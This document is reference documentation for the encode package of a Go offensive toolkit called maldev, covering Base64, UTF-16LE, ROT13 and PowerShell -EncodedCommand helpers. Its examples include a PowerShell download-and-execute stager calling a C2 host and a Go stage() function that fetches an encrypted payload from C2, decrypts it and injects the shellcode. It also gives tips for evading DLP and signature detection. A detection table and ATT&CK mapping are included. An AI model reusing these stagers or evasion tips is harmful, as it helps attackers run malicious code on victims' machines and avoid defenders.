Encode

← encode index · docs/index

TL;DR

Transport-safe byte transforms: Base64 (RFC 4648 §4 + §5), UTF-16LE, ROT13, and PowerShell -EncodedCommand (Base64(UTF-16LE(script))). Pure functions, no system interaction, cross-platform.

Primer

Encoding solves a different problem from encryption. Many channels cannot transport arbitrary bytes: HTTP headers reject control characters, URLs reject + and /, JSON strings reject zero bytes, command lines on Windows expect UTF-16, and powershell.exe -EncodedCommand accepts only Base64-of-UTF-16LE.

encode covers each of those representations with a one-line API. It is not a security boundary — Base64 is reversible by anyone who reads the output. The pattern in this codebase is encrypt with crypto, then encode for the wire: confidentiality from the cipher, transportability from the encoding.

The package has no Windows-specific code (despite UTF-16LE being Windows' native string format) and cross-compiles cleanly to every Go target.

How it works

flowchart LR
    subgraph build [Build / Encode]
        PT[plaintext] --> ENC[crypto.EncryptAESGCM]
        ENC --> CT[ciphertext]
        CT --> B64[encode.Base64Encode]
    end

    subgraph wire [Channel]
        B64 --> JSON[JSON / HTTP header / URL / PS arg]
    end

    subgraph runtime [Runtime / Decode]
        JSON --> B64D[encode.Base64Decode]
        B64D --> CT2[ciphertext]
        CT2 --> DEC[crypto.DecryptAESGCM]
        DEC --> RUN[plaintext for inject]
    end

PowerShell(script) is a convenience wrapper: Base64Encode(ToUTF16LE(script)) — exactly what powershell.exe -EncodedCommand parses.

API Reference

Base64Encode(data []byte) string

godoc

Encode data as standard Base64 (RFC 4648 §4, padded with =).

Side effects: allocates 4 * ceil(len(data)/3) bytes.

OPSEC: very-quiet. Pure data transform.

Base64Decode(s string) ([]byte, error)

godoc

Decode standard Base64.

Returns: decoded bytes, or error for malformed input.

Base64URLEncode(data []byte) string

godoc

URL-safe Base64 (RFC 4648 §5) — uses - and _ instead of + and /. Safe in URLs, query strings, filenames.

Base64URLDecode(data string) ([]byte, error)

godoc

Inverse of Base64URLEncode.

ToUTF16LE(s string) []byte

godoc

Convert a Go UTF-8 string to little-endian UTF-16 bytes — the format Windows API parameters (LPWSTR) and powershell.exe -EncodedCommand expect.

Returns: byte slice with two bytes per BMP code point (more for supplementary planes).

Side effects: allocates 2 * <utf-16 code unit count> bytes.

PowerShell(script string) string

godoc

Convenience: Base64Encode(ToUTF16LE(script)). Drop the result into powershell.exe -EncodedCommand <output>.

ROT13(s string) string

godoc

Caesar shift by 13 over ASCII letters; non-alpha bytes pass through unchanged. Self-inverse: ROT13(ROT13(x)) == x.

[!CAUTION] ROT13 is not security. Provided for novelty / signature-breaking on ASCII strings (e.g. WinAPI function names in obfuscated source).

Examples

Simple

encoded := encode.Base64Encode([]byte("hello"))
decoded, _ := encode.Base64Decode(encoded)

See ExampleBase64Encode, ExamplePowerShell, ExampleToUTF16LE in encode_example_test.go.

Composed (crypto + encode for HTTP transport)

Encrypt first, then encode for the wire:

import (
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/encode"
)

key, _ := crypto.NewAESKey()
ct, _  := crypto.EncryptAESGCM(key, rawShellcode)
wire   := encode.Base64Encode(ct)
// transport `wire` over HTTP / JSON / etc.

// Receiver:
ct2, _ := encode.Base64Decode(wire)
pt, _  := crypto.DecryptAESGCM(key, ct2)

Advanced (PowerShell stager)

Generate a one-liner that downloads and executes a remote script:

script := `IEX (New-Object Net.WebClient).DownloadString('https://c2.example/s')`
arg := encode.PowerShell(script)
// powershell.exe -NoProfile -EncodedCommand <arg>

Complex (encode + crypto + transport)

End-to-end stager that pulls an encrypted payload from C2, decodes, decrypts, injects:

import (
    "io"
    "net/http"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/encode"
    "github.com/oioio-space/maldev/inject"
)

func stage(c2URL string, key []byte) error {
    resp, err := http.Get(c2URL)
    if err != nil { return err }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil { return err }

    ct, err := encode.Base64URLDecode(string(body))
    if err != nil { return err }

    shellcode, err := crypto.DecryptAESGCM(key, ct)
    if err != nil { return err }

    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config: inject.Config{Method: inject.MethodCreateThread},
    })
    if err != nil { return err }
    return inj.Inject(shellcode)
}

OPSEC & Detection

ArtefactWhere defenders look
Long Base64 string passed to powershell.exe -EncodedCommandSysmon Event 1 (Process Create) command-line scanning, AMSI
Base64 string > 1 KB in HTTP request bodyNetwork DLP, Suricata entropy rules
UTF-16LE blob in a text-typed channelAnomaly: text channels normally see UTF-8
IEX (New-Object Net.WebClient).DownloadString(...) after Base64 decodeSysmon Event 4104 (PowerShell ScriptBlockLogging)

D3FEND counters:

  • D3-SEA — static executable / script analysis.
  • D3-FCR — YARA / regex on decoded content.
  • D3-NTPM — block outbound IEX+Base64 patterns at the proxy.

Hardening: chunk long Base64 across multiple requests; randomise field order; pad with realistic noise tokens before encoding.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027Obfuscated Files or InformationPowerShell -EncodedCommand wrapper, Base64 wrappersD3-SEA
T1027.013Encrypted/Encoded FileBase64 envelope around encrypted payloadD3-FCR
T1140Deobfuscate/Decode Files or InformationBase64Decode, Base64URLDecodeD3-FCR

Limitations

  • Encoding is not encryption. Base64 is trivially reversible. Always encrypt before encoding for non-public payloads.
  • Entropy spike on the wire. Long Base64 strings are visible to network DLP. Chunk into multiple requests, or use a more selective steganographic carrier.
  • Command-line length cap. powershell.exe -EncodedCommand accepts ~32 KB of Base64. Larger stagers must download then execute, not embed inline.
  • UTF-16LE assumes BMP. Supplementary-plane code points (emoji, CJK extensions) get surrogate pairs — fine for PowerShell but surprises any consumer expecting fixed two-byte units.

See also